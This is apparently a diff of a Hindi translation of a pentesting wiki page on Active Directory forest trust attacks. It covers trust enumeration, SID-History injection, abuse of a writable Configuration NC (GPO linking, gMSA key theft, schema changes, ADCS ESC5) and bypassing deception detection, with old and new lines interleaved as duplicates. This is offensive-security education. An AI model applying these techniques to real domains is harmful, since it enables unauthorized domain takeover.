- एक ट्रस्ट संबंध को **द्विदिशात्मक ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (उनमें से केवल एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
### हमले का मार्ग
1. **विश्वास संबंधों** की गणना करें
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेनों के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
1. **विश्वास संबंधों की गणना करें**
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेन के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
1. इस मामले में kerberoast एक और विकल्प हो सकता है।
3. **समझौता करें** उन **खातों** का जो **डोमेन के माध्यम से पिवट** कर सकते हैं।
@ -549,9 +549,9 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापकों" का समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है।
- **विदेशी डोमेन समूह सदस्यता**: प्रमुख भी विदेशी डोमेन के भीतर समूहों के सदस्य हो सकते हैं। हालाँकि, इस विधि की प्रभावशीलता ट्रस्ट की प्रकृति और समूह के दायरे पर निर्भर करती है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए [An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf) शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
### चाइल्ड-टू-पैरेंट वन विशेषाधिकार वृद्धि
### शिशु-से-माता-पिता वन विशेषाधिकार वृद्धि
```
Get-DomainTrust
@ -574,41 +574,41 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Injection
विश्वास का दुरुपयोग करते हुए बच्चे/माता-पिता डोमेन में एंटरप्राइज प्रशासक के रूप में वृद्धि करें SID-History injection के साथ:
विश्वास का दुरुपयोग करते हुए चाइल्ड/पैरेंट डोमेन में एंटरप्राइज एडमिन के रूप में बढ़ें SID-History injection के साथ:
{{#ref}}
sid-history-injection.md
{{#endref}}
#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण
#### Writable Configuration NC का शोषण करें
यह समझना महत्वपूर्ण है कि कॉन्फ़िगरेशन नाम संदर्भ (NC) का शोषण कैसे किया जा सकता है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के प्रत्येक डोमेन नियंत्रक (DC) में पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर
Configuration Naming Context (NC) को कैसे शोषित किया जा सकता है, यह समझना महत्वपूर्ण है। Configuration NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के प्रत्येक डोमेन कंट्रोलर (DC) में पुनरुत्पादित होता है, writable DCs Configuration NC की एक writable प्रति बनाए रखते हैं। इसे शोषित करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक चाइल्ड DC
**रूट DC साइट से GPO लिंक करें**
**Root DC साइट से GPO लिंक करें**
कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPOs को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
Configuration NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPOs को root DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू की गई नीतियों को हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
गहन जानकारी के लिए, कोई [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) पर शोध कर सकता है।
**वन में किसी भी gMSA का समझौता करें**
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS रूट कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, कॉन्फ़िगरेशन NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS रूट कुंजी तक पहुंच प्राप्त करना और वन में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
एक हमले का वेक्टर डोमेन के भीतर विशेषाधिकार प्राप्त gMSAs को लक्षित करना है। KDS Root कुंजी, जो gMSAs के पासवर्ड की गणना के लिए आवश्यक है, Configuration NC के भीतर संग्रहीत होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ, KDS Root कुंजी तक पहुंच प्राप्त करना और वन में किसी भी gMSA के लिए पासवर्ड की गणना करना संभव है।
विस्तृत विश्लेषण [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) पर चर्चा में पाया जा सकता है।
**Schema परिवर्तन हमला**
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD ऑब्जेक्ट्स के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD ऑब्जेक्ट्स पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD ऑब्जेक्ट्स के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD Schema को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD ऑब्जेक्ट्स पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
अधिक पढ़ने के लिए [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर जाएं।
**DA से EA तक ADCS ESC5 के साथ**
**ADCS ESC5 के साथ DA से EA तक**
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) ऑब्जेक्ट्स पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण सक्षम करता है। चूंकि PKI ऑब्जेक्ट्स कॉन्फ़िगरेशन NC में स्थित होते हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) ऑब्जेक्ट्स पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण सक्षम करता है। चूंकि PKI ऑब्जेक्ट्स Configuration NC में स्थित होते हैं, एक writable चाइल्ड DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
इस पर अधिक जानकारी [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ी जा सकती है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
### बाहरी वन डोमेन - एक-तरफा (इनबाउंड) या द्विदिश
### External Forest Domain - One-Way (Inbound) या द्विदिश
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
इस परिदृश्य में **आपका डोमेन एक बाहरी डोमेन द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -693,7 +693,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **धोखे की पहचान करना**
- **उपयोगकर्ता वस्तुओं के लिए**: संदिग्ध संकेतों में असामान्य ObjectSID, असामान्य लॉगिन, निर्माण तिथियाँ, और कम खराब पासवर्ड की गिनती शामिल हैं।
- **सामान्य संकेतक**: संभावित डिकॉय वस्तुओं के गुणों की तुलना वास्तविक वस्तुओं के गुणों से करने से असंगतियाँ प्रकट हो सकती हैं। [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) जैसे उपकरण ऐसी धोखाधड़ी की पहचान करने में मदद कर सकते हैं।
- **सामान्य संकेतक**: संभावित डिकॉय वस्तुओं के गुणों की तुलना वास्तविक वस्तुओं के गुणों से करने से असंगतताएँ प्रकट हो सकती हैं। [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) जैसे उपकरण ऐसी धोखाधड़ी की पहचान करने में मदद कर सकते हैं।
### **डिटेक्शन सिस्टम को बायपास करना**